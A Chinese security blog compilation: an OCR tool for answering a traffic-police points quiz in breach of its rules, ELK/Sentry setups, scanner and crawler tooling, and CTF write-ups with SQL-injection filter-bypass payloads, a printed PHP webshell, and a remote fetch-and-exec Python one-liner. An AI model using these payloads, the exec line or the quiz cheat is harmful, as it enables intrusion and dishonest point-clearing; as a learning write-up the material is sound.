关于半自动刷某交警答题赢积分

发布时间:July 27, 2018 // 分类:开发笔记,工作日志,代码学习,linux,python,生活琐事 // 1 Comment

最近在为了被扣分的事情一直烦恼。朋友推荐XX交警答题赢积分可以处理交通违章扣分。

关于XX交警答题赢积分

XX交警答题赢积分可以处理交通违章扣分。

规则:

  1. 系统随机生成试题,在规定时间内答题正确率在90%以上可以获得1分。

  2. 每个驾驶证每天最多可获得1分,最高可获得6分。

  3. 答题所获积分可用于自主处理交通违法时冲抵所绑定的轻微交通违法记分。

  4. 冲抵交通违法记分后,答题积分小于6分时,可以继续答题获得积分。

  5. 如系统监控到采用非法手段获取答题积分的,将被列为不诚信人员黑名单库,禁止使用答题积分功能,非法获得的积分将予以清除。

发现确实是一个好东西。但是我这种科目一过了就再也没有看过书的懒人来说.好多都答不上来。今天和一被扣分的同事说起,同事提示说是不是可以做一个类似题库的东西来匹配对应的东西。就类似于抓取题目来匹配自身有的答题库。想了一下,应该是可以的。

简单的思路就是:首先我们可以通过截屏,通过剪切特定区域的图片,然后通过ocr来识别里面的文字。再根据文字去搜索,在某些在线提供的题库应该可以匹配到具体的内容。

首先截屏,因为我是安卓手机,所以就非常方便了。

adb shell screencap -p /sdcard/screenshot.png
adb pull /sdcard/screenshot.png .

就可以把图片拉回到本地了。前提是手机需要开启开发者选项的USB调试功能。不同的手机开启方式不一样,具体自己去百度。

拿到图片以后对图片进行剪切。获取特定区域内的地址。主要是为了去除手机顶上的那些标志。在ocr识别的时候排出干扰项。

# 切割题目+选项区域,左上角坐标和右下角坐标,自行测试分辨率
    combine_region = "10, 250, 1050, 1400".replace(' ','').split(',')
    combine_region = list(map(int, combine_region))
    region_im = image.crop((combine_region[0], combine_region[1], combine_region[2], combine_region[3]))

    img_byte_arr = io.BytesIO()
    region_im.save(img_byte_arr, format='PNG')

    image_data = img_byte_arr.getvalue()

这里使用的是百度OCR API ,在 https://cloud.baidu.com/product/ocr 上注册新建应用即可
python需要安装baidu-aip
然后调用 百度OCR API去识别里面的文字

    response = client.basicGeneral(image_data)
    words_result = response['words_result']

    texts = [x['words'] for x in words_result]

因为选项里面必定有A:开始,所以一旦发现了A:就必定是选项开始。识别的ocr里面没有图片,避免了干扰

    if len(choices)>2:

        # 处理出现问题为两行或三行
        if str(choices[1]).find("A:") !=-1:
            print "quest"
            question += choices[0]
            choices.pop(0)
        elif "A:" in str(choices[2]):
            question += choices[0]
            question += choices[1]
            choices.pop(0)
            choices.pop(0)

    answer = ""
    for x in choices:
        answer += x +"\n"

    print("获取的问题:")
    print(question)
    print("提供的选项:")
    print(answer)

然后把问题和答案组合起来,丢到百度里面去搜索,然后取第一个url来匹配,因为搜索里面,越靠前的可信度比较高。考虑到搜索里面的tiba.jsyks.com匹配度比较高,暂时全部丢里头查询了。

'''
获取的答案信息不全部是A/B/C/D,也有对错的部分
'''
def get_answer_tiba(url):
    info = ""
    try:
        resp = requests.get(url,headers=headers, verify=False)
        soup = BeautifulSoup(resp.content, "lxml")
        html=soup.find_all('div', id="question")
        if html:
            pattern = re.compile(r'</span>(.*?)<br/>(.*?)<br/>(.*?)<br/>(.*?)<br/><br/>(.*?)<u>(.*?)</u></h1>', re.IGNORECASE | re.DOTALL | re.MULTILINE)
            content = pattern.findall(str(html[0]))
            for x in content[0]:
                info+=x+"\n"
            print(Fore.MAGENTA +"对照下面的答案选择真正正确的选项"+Fore.RESET)
            print info.replace(":\n",": ").strip("\n")

    except Exception as e:
        if "list index out of range" in str(e):
            try:
                pattern = re.compile(r'</strong>(.*?)<br/>(.*?)<br/>(.*?)<br/>(.*?)<br/><br/>(.*?)<u>(.*?)</u></h1>', re.IGNORECASE | re.DOTALL | re.MULTILINE)
                content = pattern.findall(str(html[0]))
                for x in content[0]:
                    info+=x+"\n"
                print(Fore.MAGENTA +"对照下面的答案选择真正正确的选项"+Fore.RESET)
                print info.replace(":\n",": ").strip("\n")
            except Exception as e:
                pattern = re.compile(r'<br/>(.*?)<u>(.*?)</u>', re.IGNORECASE | re.DOTALL | re.MULTILINE)
                content = pattern.findall(str(html[0]))
                for x in content[0]:
                    info+=x+"\n"
                print(Fore.MAGENTA +"对照下面的答案选择真正正确的选项"+Fore.RESET)
                print info.replace(":\n",": ").strip("\n")

def get_baidu(keyword):
    url = "http://www.baidu.com/s?ie=utf-8&f=8&wd=site%3Atiba.jsyks.com%20"+keyword
    url2 = ""
    equid = re.compile(r'bds\.comm\.eqid = \"(.*?)\"', re.IGNORECASE | re.DOTALL | re.MULTILINE)
    geturl = re.compile(r'

<

div class=\"f13\"><a target=\"_blank\" href=\"(.*?)\" class=\"c-showurl\" style=\"text-decoration:none;', re.IGNORECASE | re.DOTALL | re.MULTILINE)
    try:
        resp = requests.get(url,headers=headers, verify=False)
        beqid = equid.findall(resp.content)
        #print beqid[0]
        burl = geturl.findall(resp.content)
        if  len(burl)>0:
            url2 = burl[0]+"&wd=&eqid="+str(beqid[0])
            realurl = re.compile(r"URL='(.*?)'", re.IGNORECASE | re.DOTALL | re.MULTILINE)
            try:
                resp1 = requests.get(url2,headers=headers, verify=False)
                realurl = realurl.findall(resp1.content)
                if len(realurl)>0:
                    print(realurl[0])
                    get_answer_tiba(realurl[0])
                    #return realurl[0]
            except Exception as e:
                print str(e)
                pass
        else:
            print(Fore.RED + "好像没有找到答案,估计要认命了^_^\n那么就随便选择一个呗。无法了" + Fore.RESET)
    except Exception as e:
        print str(e)
        pass

效果如下


单图片识别的效果

PS:为啥不搞成自动点击得.因为有些题目得图片不一样,问题和答案都是一样得。会造成很高得误报。

警告⚠️:
本文仅仅做技术研究。请参考第五条
如系统监控到采用非法手段获取答题积分的,将被列为不诚信人员黑名单库,禁止使用答题积分功能,非法获得的积分将予以清除。

思路跟前段时间的答题赢奖金差不多

利用RELK进行日志收集

发布时间:April 3, 2018 // 分类:运维工作,开发笔记,python // No Comments

前不久在做应急的总是遇到要求对日志进行分析溯源,当时就想到如果对常见的日志类进行解析后统一入库处理,然后在对相关的IP/URL进行统计归纳。对于溯源之类的很是方便。想到数据量比较大,又要便于分析,就想到了ELK.

搭建一套基于elk的日志分析系统。
系统centos 内存4G 双核

大概架构如此

1.elk搭建

wget https://artifacts.elastic.co/downloads/elasticsearch/elasticsearch-6.4.2.rpm
wget https://artifacts.elastic.co/downloads/kibana/kibana-6.4.2-x86_64.rpm
wget https://artifacts.elastic.co/downloads/logstash/logstash-6.4.2.rpm

rpm -ivh elasticsearch-6.4.2.rpm 
sudo chkconfig --add elasticsearch
/etc/init.d/elasticsearch start

rpm -ivh kibana-6.4.2-x86_64.rpm 
/etc/init.d/kibana start
sudo chkconfig --add kibana

rpm -ivh logstash-6.4.2.rpm
cd /usr/share/logstash
ln -s /etc/logstash ./config

整个elk系统搭建好了,安装redis作为agent收集日志来作为logstash的输入源

wget http://download.redis.io/redis-stable.tar.gz
tar zxf redis-stable.tar.gz 
cd redis-stable
make && make install

修改redis.conf。

bind 0.0.0.0
protected-mode no
daemonize yes
maxclients 1000000

启动redis

sudo redis.conf /etc/
redis-server /etc/redis.conf

Logstash配置文件是JSON格式,放在/etc/logstash/conf.d 。 该配置由三个部分组成:输入,过滤器和输出。

input 数据输入端,可以接收来自任何地方的源数据。
file:从文件中读取
syslog:监听在514端口的系统日志信息,并解析成RFC3164格式。
redis:从redis-server list 中获取
beat:接收来自Filebeat的事件
Filter 数据中转层,主要进行格式处理,数据类型转换、数据过滤、字段添加,修改等,常用的过滤器如下。
grok: 通过正则解析和结构化任何文本。Grok 目前是logstash最好的方式对非结构化日志数据解析成结构化和可查询化。logstash内置了120个匹配模式,满足大部分需求。
mutate: 在事件字段执行一般的转换。可以重命名、删除、替换和修改事件字段。
drop: 完全丢弃事件,如debug事件。
clone: 复制事件,可能添加或者删除字段。
geoip: 添加有关IP地址地理位置信息。
output 是logstash工作的最后一个阶段,负责将数据输出到指定位置,兼容大多数应用,常用的有:
elasticsearch: 发送事件数据到 Elasticsearch,便于查询,分析,绘图。
file: 将事件数据写入到磁盘文件上。
mongodb:将事件数据发送至高性能NoSQL mongodb,便于永久存储,查询,分析,大数据分片。
redis:将数据发送至redis-server,常用于中间层暂时缓存。
graphite: 发送事件数据到graphite。http://graphite.wikidot.com/
statsd: 发送事件数据到 statsd。

编写logstash的配置文件。对所有的数据全盘接受,感谢Mosuan师傅的指导。

input {    
    redis {
        host => '127.0.0.1'
    port => 6379
        password => 'password'
        data_type => 'list'
        key => 'logstash:redis'
    }
}
output {
    elasticsearch { hosts => localhost }
    stdout { codec => rubydebug }
}

Logpara

一个对常见的web日志进行解析处理的粗糙DEMO。

Python 2.7 License

目标

  • 对被请求的URL进行解析,解析出是否常见的攻击方式
  • 对来访的IP进行深度解析,包含经纬度,物理地址
  • 对来访的UA进行深度解析,解析出设备,浏览器种类,是否爬虫
  • 把全部的日志解析了入库,做RELK处理

TO DO

  • 对入库elasticsearch的日志进行处理并展示

Useage

  • 使用之前先修改common/units.py

    redis_host = '192.168.87.222'
    redis_port = 6379
    redis_pass = 'cft67ygv'
    redis_db = 0
    redis_key = 'logstash:redis'
    
  • 使用
Usage: main.py --type IIS|Apache|Tomcat|Nginx --file file|directory

log parser

Options:
  -h, --help   show this help message and exit
  --type=TYPE  chose which log type
  --file=FILE  chose file or directory

脚本地址:https://github.com/0xa-saline/Logpara

导入后的结果类似


单个查看

如果基于nginx还可以收集post数据,在溯源取证以及日志分析都是有很好的帮助。

整合了一个wvs11的扫描

发布时间:July 14, 2017 // 分类:开发笔记,linux,python,windows // 12 Comments

最近忙里偷闲的整合了一个wvs11的扫描脚本。主要是借助了nmap和wvs11_api来实现。大概就是酱紫

主要是三台机器.
一台centos做子域名爆破+端口扫描+数据收集.
另外两台windows做wvs接收任务并启动扫描

关于wvs11的api之前有做过介绍
http://0cx.cc/about_awvs11_api.jspx
具体的利用方式以及导出为xml格式的报告。最后对xml进行处理的脚本都在
https://github.com/0xa-saline/acunetix-api

域名爆破修改自lijiejie的subDomainsBrute。加入第三方的收集,以及在端口扫描之前对ip进行处理.就是同c段的取最大和最小的来强制加入中间段的扫描.
https://github.com/0xa-saline/subDomainsBrute

端口扫描主要依赖是nmap。这里调用的是python-nmap
http://0cx.cc/solve_bug_withe-python-nmap.jspx
http://0cx.cc/some_skill_for_quen.jspx

主要是来判断端口以及对应的服务.如果出现来http/https的服务以后直接放入wvs里面扫描

部分插件调用的是bugscan的扫描脚本
http://0cx.cc/which_cms_online.jspx

其实主要的服务扫描则是非常漂亮的fenghuangscan.字典的加载方式则是参考了bugscan的加载。可以依赖于域名来切割加入字典

大概有这么一些服务类

多数是弱口令检测以及弱服务类型.

主要是把任务推送到wvs。看到wifi万能钥匙src放出来一些测试域名。测试来几个..

修改了一个爬虫htcap

发布时间:June 24, 2017 // 分类:开发笔记,代码学习,python // No Comments

修改htcap的数据库为mysql

好懒..拖延症.....本来早两个月以前就应该完成了的东西.在基友的催促下匆忙的修改了一下.修改了一个爬虫htcap,这个爬虫强大之处就是基于PhantomJS 实现的.数据库本来这个是基于sqlite3的.本屌感觉这个爬虫其实功能还是不错的.于是就修改了数据库为mysql.还稍微增加了一些功能

大概新增的功能如下

0.禁止dns刷新缓存 done

1.修改htcap的数据库为mysql done

2.增加常见统计代码和分享网站的过滤功能 done

3.增加常见静态后缀的识别 done

4.获取url在原有的robots基础上增加目录爆破和搜索引擎采集.识别一些不能访问的目录 done

5.砍掉sqlmap和Arachni扫描功能. done

6.增加页面信息识别功能.

7.增加重复去重和相似度去重功能

列举说明下

0x00.禁止dns刷新缓存

#!/usr/bin/env python
# -*- coding: utf-8 -*-
import socket  
import requests
_dnscache={}  
def _setDNSCache():  
    """ 
    Makes a cached version of socket._getaddrinfo to avoid subsequent DNS requests. 
    """  

    def _getaddrinfo(*args, **kwargs):  
        global _dnscache  
        if args in _dnscache:  
            print str(args)+" in cache"  
            return _dnscache[args]  

        else:  
            print str(args)+" not in cache"    
            _dnscache[args] = socket._getaddrinfo(*args, **kwargs)  
            return _dnscache[args]  

    if not hasattr(socket, '_getaddrinfo'):  
        socket._getaddrinfo = socket.getaddrinfo  
        socket.getaddrinfo = _getaddrinfo  



def test(url):  
    _setDNSCache()  
    import time
    start = time.time()
    requests.get(url)
    end = time.time()
    print "first \t"+str(end-start)
    requests.get(url)
    sect = time.time()
    print "second \t"+str(sect - end)
    requests.get(url)
    print "third \t"+str(time.time() - sect)


if __name__ == '__main__':  
    url = "http://testphp.vulnweb.com"
    test(url)  

执行的结果还是比较满意

('0cx.cc', 80, 0, 1) not in cache
first   1.11360812187
('0cx.cc', 80, 0, 1) in cache
second  0.933846950531
('0cx.cc', 80, 0, 1) in cache
third   0.733961105347

但是又不是每一次都是ok的

('github.com', 443, 0, 1) not in cache
first   1.77086091042
('github.com', 443, 0, 1) in cache
second  2.0764131546
('github.com', 443, 0, 1) in cache
third   3.75542092323

不过这个方案虽好,但也有缺陷,罗列如下:
1.相当于只对socket.getaddrinfo打了一个patch,但socket.gethostbyname,socket.gethostbyname_ex还是走之前的策略
2.只对本程序有效,而修改/etc/hosts将对所有程序有效,包括ping

0x01.修改htcap的数据库为mysql

vi core/lib/DB_config.py
    #数据库信息
    'host' : 'localhost',
    'user' : 'root',
    'port' : '3306',
    'password' : 'mysqlroot',
    'db' : 'w3a_scan',

0x02.增加常见统计代码和分享网站的过滤功能

    def urlfilter(self):
        IGNORE_DOMAIN = [   #强制过滤域名.常见的bat和一些统计分享类的网站
            'taobao.com','51.la','weibo.com','qq.com','t.cn','baidu.com','gravatar.com','cnzz.com','51yes.com',
            'google-analytics.com','tanx.com','360.cn','yy.com','163.com','263.com','eqxiu.com','','gnu.org','github.com',
            'facebook.com','twitter.com','google.com'
        ]

....
and so on

测试站testphp.vulnweb.com

效果如下

1.没有做采集以及没有去重处理

. . initialized, crawl started with 10 threads
[=================================]   66 of 66 pages processed in 8 minutes
Crawl finished, 66 pages analyzed in 8 minutes


2.没有做采集和但是去重处理

3.做采集以及去重处理

. initialized, crawl started with 10 threads
[=================================]   108 of 108 pages processed in 43 minutes
Crawl finished, 108 pages analyzed in 43 minutes

ps:
采集前后的区别 66 108
去重前后的区别 85 65

唯一的缺点就是PhantomJS这玩意太特么占内存了..

https://github.com/0xa-saline/htcap_mysql

PS:因为PhantomJS作者不再维护PhantomJS项目了..估计这个也不会继续更新了

另外,不承担解决该爬虫导致的bug的问题

Mysql巧妙绕过未知字段名的技巧

发布时间:May 29, 2017 // 分类:转帖文章,mysql // No Comments

DDCTF第五题,绕过未知字段名的技巧,这里拿本机来操作了下,思路很棒也很清晰,分享给大家。题目过滤空格和逗号,空格使用%0a,%0b,%0c,%0d,%a0,或者直接使用括号都可以绕过,逗号使用join绕过;

存放flag的字段名未知,information_schema.columns也将表名的hex过滤了,即获取不到字段名;这时可以利用联合查询,过程如下:

思想就是获取flag,让其在已知字段名下出现;

mysql> select (select 1)a,(select 2)b,(select 3)c,(select 4)d;
+---+---+---+---+
| a | b | c | d |
+---+---+---+---+
| 1 | 2 | 3 | 4 |
+---+---+---+---+
1 row in set (0.00 sec)

mysql> select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d;
+---+---+---+---+
| 1 | 2 | 3 | 4 |
+---+---+---+---+
| 1 | 2 | 3 | 4 |
+---+---+---+---+
1 row in set (0.00 sec)

mysql> select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user;
+---+-------+----------+-------------+
| 1 | 2     | 3        | 4           |
+---+-------+----------+-------------+
| 1 | 2     | 3        | 4           |
| 1 | admin | admin888 | 110@110.com |
| 2 | test  | test123  | 119@119.com |
| 3 | cs    | cs123    | 120@120.com |
+---+-------+----------+-------------+
4 rows in set (0.01 sec)

mysql> select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user)e;
+-------------+
| 4           |
+-------------+
| 4           |
| 110@110.com |
| 119@119.com |
| 120@120.com |
+-------------+
4 rows in set (0.03 sec)

mysql> select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user)e limit 1 offset 3;

+-------------+
| 4           |
+-------------+
| 120@120.com |
+-------------+
1 row in set (0.01 sec)

mysql> select * from user where id=1 union select (select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d
union select * from user)e limit 1 offset 3)f,(select 1)g,(select 1)h,(select 1)i;
+-------------+----------+----------+-------------+
| id          | username | password | email       |
+-------------+----------+----------+-------------+
| 1           | admin    | admin888 | 110@110.com |
| 120@120.com | 1        | 1        | 1           |
+-------------+----------+----------+-------------+
2 rows in set (0.04 sec)

from:secquan

基于docker的sentry搭建过程

发布时间:April 13, 2017 // 分类:运维工作,开发笔记,linux,windows,python,生活琐事 // 2 Comments

最近拜读董伟明大牛的《python web实战开发》发现他推荐了一个神器sentry.恰好不久前还在和小伙伴讨论如何记录try--except的异常信息。发现刚好可以用上.

** 简介 **

Sentry’s real-time error tracking gives you insight into production deployments and information to reproduce and fix crashes.---官网介绍
Sentry是一个实时事件日志记录和汇集的日志平台,其专注于错误监控,以及提取一切事后处理所需的信息。他基于Django开发,目的在于帮助开发人员从散落在多个不同服务器上的日志文件里提取发掘异常,方便debug。Sentry由python编写,源码开放,性能卓越,易于扩展,目前著名的用户有Disqus, Path, mozilla, Pinterest等。它分为客户端和服务端,客户端就嵌入在你的应用程序中间,程序出现异常就向服务端发送消息,服务端将消息记录到数据库中并提供一个web节目方便查看。

** 安装 **
通过官方文档https://docs.sentry.io/ 可以得知,安装服务有两种方式,一种是使用Python,这种方式个人感觉比较麻烦。于是选择了第二种方式:使用docker[官方更加推荐]

这种方法需要先安装** docker **和 ** docker-compose **

0x01 安装docker
0x02 安装docker-compose
0x03 获取sentry
0x04 搭建sentry

我本地安装过了docker和docker-compose.直接从第三步开始

git clone https://github.com/getsentry/onpremise.git

获取到本地之后,就可以根据他的README.md开始着手搭建了,整个过程还是比较顺利的。

** step 1.构建容器并创建数据库和sentry安装目录 **

mkdir  -p data/{sentry,postgres}

** step 2.生成secret key并添加到docker-compose文件里 **

sudo docker-compose run --rm web config generate-secret-key

这个过程时间有点长。其间会提示创建superuser,用户名是一个邮箱,这个邮箱今后会收到sentry相关的消息,口令可以随便设置,只要自己记得住就可以了。

最后会在命令行输出一串乱七八糟的字符(形如:** z#4zkbxk1@8r*t=9z^@+q1=66zbida&dliunh1@p–u#zv63^g ** )
这个就是 secretkey,将这串字符复制到docker-compose.yml文件中并保存.取消SENTRY_SECRET_KEY的注释,并把刚刚复制的字符串插入其中,类似如下

** step 3.重建数据库,并创建sentry超级管理员用户 **

sudo docker-compose run --rm web upgrade

创建用户,sentry新建的时候需要一个超级管理员用户

** step 4.启动所有的服务 **

sudo docker-compose up -d


至此sentry搭建完成!

实际效果

from raven import Client
client = Client('http://f4e4bfb6d653491281340963951dde74:10d7b52849684a32850b8d9fde0168dd@127.0.0.1:9000/2')
    def find_result(self, sql,arg=''):
        try:
            with self.connection.cursor() as cursor:
                if len(arg)>0:
                    cursor.execute(sql,arg)
                else:
                    cursor.execute(sql)
                result = cursor.fetchone()
                self.connection.commit()
                return result

        except Exception, e:
            client.captureException()
            print sql,str(e)

print sql,str(e)

输出错误

client.captureException()

记录的错误日志

神秘小姐姐的留言板

发布时间:March 17, 2017 // 分类:PHP,开发笔记,代码学习,代码审计 // No Comments

太久没有搞过这种耗脑子的游戏了

地址:http://c.bugscan.net/#!/boss/12

访问地址发现一任意文件读取

http://112.126.88.39:10247/include.php?file=suanfa.php

各种读以后发现medium.php中存在注入

<?php 
if ($_SERVER['HTTP_USER_AGENT'] != "seclover Browser") {
    echo '没用的!!!';
    exit;
}
$id = $_POST['soid'];
include 'Conf/xycms.inc.php';
include 'seclover.php';
include 'filter.php';
$id = seclover($id);
$con = mysql_connect($db_address, $db_user, $db_pass) or die("不能连接到数据库!!" . mysql_error());
mysql_select_db($db_name, $con);
$id = mysql_real_escape_string($id);
$sql = "SELECT * FROM `message` WHERE display=1 AND id={$id}";
$rs=mysql_fetch_array($result); echo htmlspecialchars($rs['nice']).':<br/>    '.filter($rs['say']).'<br />'; 
mysql_free_result($result); 
mysql_close($con);
?> 

读取seclover.php发现为一过滤函数

<?php
function seclover($content)
{
    $keyword = array("select", "union", "and", "from", ' ', "'", ";", '"', "char", "or", "count", "master", "name", "pass", "admin", "+", "-", "order", "=");
    $info = strtolower($content);
    for ($i = 0; $i <= count($keyword); $i++) {
        $info = str_replace($keyword[$i], '', $info);
    }
    return $info;
}

但是可以利用selselectect来匹配以后替换还剩下select这样的方式继续注入.继续回到medium.php。

if ($_SERVER['HTTP_USER_AGENT'] != "seclover Browser") {
    echo '没用的!!!';
    exit;
}

发现需要匹配的ua必选是seclover Browser。不然不能执行sql语句。post传递的值经过没有什么用的mysql_real_escape_string以后再进入sql。
经过一番xxx发现字段为4.但是有一个神奇的存在,传递到sql的id必须是不存在的.不然sql正常执行了却没有办法回显我们需要的内容
传入一个存在的

传入一个不存在的

坑爹的玩意...折腾这个一个下午啊...
然后就是猜表..期间还下载了真正的源码回来测试.

$keyword = array("select", "union", "and", "from", ' ', "'", ";", '"', "char", "or", "count", "master", "name", "pass", "admin", "+", "-", "order", "=");

果断的猜测是admin

果然是..用户名差字段不多就是username了.密码的字段找了一圈没有找到..后来发现后台是
http://112.126.88.39:10247/login/
观察了一下字段信息

  <form  name="login" method="post" 
  action="./pass.php">
    <label>用户名:
      <input type="text" name="username" />
    </label>
    <p>密&nbsp;码:
      <input type="password" name="userpass" />
  </p>
    <p>
      <label>
      <input type="submit" name="Submit" value="登录" />
      </label>
    </p>
  </form>

好吧,测试下userpass

soid=0/**/anandd/**/11%3C%3E12/**/uniunionon/**/selselectect/**/1,2,userppassass,4/**/ffromrom/**/aadmindmin/**/limit/**/1


得到的字符是加密的.记得第一次访问include.php的时候跟的是suanfa.php

<?php
base64_encode(rc4($content, "yangrong"));
function rc4($data, $pwd)
{
    $cipher = "";
    $key[] = "";
    $box[] = "";
    $pwd_length = strlen($pwd);
    $data_length = strlen($data);
    for ($i = 0; $i < 256; $i++) {
        $key[$i] = ord($pwd[$i % $pwd_length]);
        $box[$i] = $i;
    }
    for ($j = $i = 0; $i < 256; $i++) {
        $j = ($j + $box[$i] + $key[$i]) % 256;
        $tmp = $box[$i];
        $box[$i] = $box[$j];
        $box[$j] = $tmp;
    }
    for ($a = $j = $i = 0; $i < $data_length; $i++) {
        $a = ($a + 1) % 256;
        $j = ($j + $box[$a]) % 256;
        $tmp = $box[$a];
        $box[$a] = $box[$j];
        $box[$j] = $tmp;
        $k = $box[($box[$a] + $box[$j]) % 256];
        $cipher .= chr(ord($data[$i]) ^ $k);
    }
    return $cipher;
}

搜了一下rc4的相关内容.发现了一些有趣的东西。C4 加密算法還原 (還原只需要重新加密一次)

$key = '5201314';                               //原始KEY
$pwd = md5(md5($key).'我是常量');     //md5+常量
$data = '我愛北京天安門';                    //要加密的數據
$cipher = rc4($pwd, $data);                //AC4 加密算法
$c = rc4($pwd, $cipher);                    //AC4 加密算法還原 (還原只需要重新加密一次)

那么解密的方式就是

访问就得到了密码。登录后台以后发现

果断的读取

<?php
$pwd = "cmd00";
if (isset($_POST[$pwd]) && !empty($_POST[$pwd])) {
    $cmd = $_POST['cmd'];
    $path = $_POST['path'];
    switch ($cmd) {
        case 'ls':
            echo @FileTreeCode($path);
            break;
        case 'cat':
            echo @file_get_contents($path);
            break;
        default:
            die('Command Not Found Or No Permission!');
            break;
    }
}
function FileTreeCode($D)
{
    $ret = "";
    $F = @opendir($D);
    if ($F == NULL) {
        $ret = "ERROR:// Path Not Found Or No Permission!";
    } else {
        $M = NULL;
        $L = NULL;
        while ($N = @readdir($F)) {
            $P = $D . "/" . $N;
            $T = @date("Y-m-d H:i:s", @filemtime($P));
            @($E = substr(base_convert(@fileperms($P), 10, 8), -4));
            $R = "\t" . $T . "\t" . @filesize($P) . "\t" . $E . "\n";
            if (@is_dir($P)) {
                $M .= $N . "/" . $R;
            } else {
                $L .= $N . $R;
            }
        }
        $ret .= $M . $L;
        @closedir($F);
    }
    return $ret;
}

一个小马..简直6到不行..

提交flag

太久没弄了..学到好多姿势..

关于bugscan的屁事

发布时间:March 14, 2017 // 分类:开发笔记,linux,python,windows // No Comments

** 关于bugscan的使用 **
从14年接触python,15年开始写bugscan插件到现在bugscan的改版.早起的爬虫,后来逆向客户端.主要的是为了它那个开源的插件,还有一个原因就是它的插件太方便了.它的生成有模板可用的.

早期写的教程 https://my.oschina.net/rookier/blog/393074

** 逆向的辛酸苦辣 **
最早我还会c++的时候写过一次爬虫
https://my.oschina.net/rookier/blog/395712
后来一直学习python又重新写了一次
http://0cx.cc/python_spider_bugscan.jspx
再后来发现部分插件是没法用的.于是又果断的逆向了客户端
http://0cx.cc/uncompyle_loads.jspx

** 关于插件的调用 **
这个最早的时候是批量调用
http://0cx.cc/bug_scan_vul.jspx
后来是逆向出插件一段时候后识别后调用
http://0cx.cc/which_cms_online.jspx
期间各种扫描分析
http://0cx.cc/bugscan_run_exec.jspx

** 继续插件调用的爱恨情愁 **

python -c "exec(__import__('urllib2').urlopen('http://t.cn/xxxxx').read())" -m 5

这个url会经过短地址还原,带上自己的ID向服务器发起rpcs认证请求。详情参照http://0cx.cc/uncompyle_loads.jspx

if Debug_X(debugkey_str, 'main'):
        print 'tid=', thread.start_new_thread(Mysql_insert_QueueInfo, ())

    if '_S' not in globals():
        _S = 'https'
    if '_U' not in globals():
        _U = 'your ID just like 0000000000000'
    if '_B' not in globals():
        _B = 'old.bugscan.net'

    Urls = '%s://%s/rpcs' % (_S, _B)
    Login_Get = Loginx(_U, Urls)
    VER_INT = 1.95
    UPdate_yes_no = False
    Plugin_Code = {}

追查下Loginx

class Loginx(object):
    def __init__(self, uhash, serviceURL, serviceName=None):
        self.__serviceURL = serviceURL
        self.__serviceName = serviceName
        self.__uhash = uhash

    def __call__(self, *args):

        PC_uuid = str(uuid.uuid1())
        Login_Info_json = json.dumps({'method': self.__serviceName,
                          'params': args,
                          'uid': self.__uhash,
                          'uuid': PC_uuid})

        Mysql_table_insert('rpclog', method=self.__serviceName, params=repr(args), uid=self.__uhash, uuid=PC_uuid)

        Login_Info_json = md5.md5(Login_Info_json).hexdigest() + '|' + zlib.compress(Login_Info_json, 9)

        ServerURL = self.__serviceURL
        INT_15 = 15
        for For_int in range(INT_15):
            try:
                HTTP_getRead = None

                for For_int in range(3):

                    ServerInfo = urlparse.urlparse(ServerURL)

                    if ServerInfo.scheme == 'https':
                        Http_Obj = HttpLib(ServerInfo.hostname, ServerInfo.port, timeout=60)
                    else:
                        Http_Obj = httplib.HTTPConnection(ServerInfo.hostname, ServerInfo.port, timeout=60)

                    Http_Obj.putrequest('POST', ServerInfo.path)
                    Http_Obj.putheader('Content-Length', str(len(Login_Info_json)))
                    Http_Obj.putheader('Content-Type', 'application/json')
                    Http_Obj.endheaders()

                    Http_Obj.send(Login_Info_json)

                    HTTP_getResponse = Http_Obj.getresponse()

                    HTTP_getHeaders = dict(HTTP_getResponse.getheaders())

                    if HTTP_getHeaders.has_key('location') and HTTP_getHeaders['location'] != ServerURL:

                        Http_Obj.close()
                        ServerURL = HTTP_getHeaders['location']

                    else:

                        HTTP_getRead = HTTP_getResponse.read()
                        Http_Obj.close()
                        break

                if not HTTP_getRead:
                    raise IOError('Content empty')
                    # print HTTP_getRead

                Find_return = HTTP_getRead.find('|')
                #-------------------
                Code_md5, code_json = HTTP_getRead[:Find_return], zlib.decompress(HTTP_getRead[Find_return + 1:])

                if Code_md5 != md5.md5(code_json).hexdigest():

                    raise IOError('json decode error')

                HTTP_getResponse = json.loads(code_json)

                if PC_uuid != HTTP_getResponse['uuid']:

                    raise IOError('UUID unmatched')

            except Exception as o0oo0o0O00OO:

                if For_int == INT_15 - 1:
                    Logging_Obj.exception(Get_lineNumber_fileName())
                    raise o0oo0o0O00OO
                else:
                    time.sleep(5)
            else:
                if HTTP_getResponse['error'] != None:
                    raise RpcError(HTTP_getResponse['error'])
                else:
                    return HTTP_getResponse['result']

就是带上自己的专属id,然后直接以json格式访问rpcs地址.整个过程需要正确认证才有HTTP_getResponse['result']的返回..如果认证成功以后,会从rpcs地址获取任务

Task_List = Login_Get.get_task_list(SID_INT, Scan_thread_idel)#获取任务列表

Task_List里面包含了相关的信息

{
    u'tasks': [{u'policy': u'base64.encode(plugins)', u'id': taskid, u'target': u'testphp.acunetix.com'}], 
    u'nodever': u'0', 
    u'stops': []
}

Task_List['tasks']里面包含了相关的信息

{
    u'policy': u'base64.encode(plugins)', 任务参数
    u'id': taskid, 任务id
    u'target': u'testphp.acunetix.com'任务目标
}

Tasks_n 里面包含了相关的信息

Tasks_n = {
    u'subdomain': True, 
    u'scanport': True, 
    u'maxtask': 7000, 
    u'useragent': u'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; .NET CLR 2.0.50727)', 
    u'anyone': True, 
    u'user_dict': u'', 
    u'timeout': 24, 
    u'plugins': {}, 
    u'entry': u'http://0day5.com/', 
    u'nodes': [xxxx], 任务节点id
    u'pass_dict':
    u'', u'speed': 6
}

Tasks_n包含了填写的基本信息

Plugins_list = json.loads(base64.decodestring(Tasks_n['policy']))

获取到基本的信息以后久进入到了ProcessWork中.需要关注的就是target和Plugins_list是Tasks_n里面的到的基本信息

def ProcessWork(glock, gdebug, debugkey, uhash, rpc_server, tid, target, Plugins_list):
    global Debug_yes_no
    global sys_debug_yes_no
    global Login_Get
    global debug_key
    global Multiprocessing_RLock
    Multiprocessing_RLock = glock
    sys_debug_yes_no = gdebug
    debug_key = debugkey
    Debug_yes_no = True
    Loginx_Obj = Loginx(uhash, rpc_server)
    Oo000ooOOO = None
    if Debug_X(debugkey):
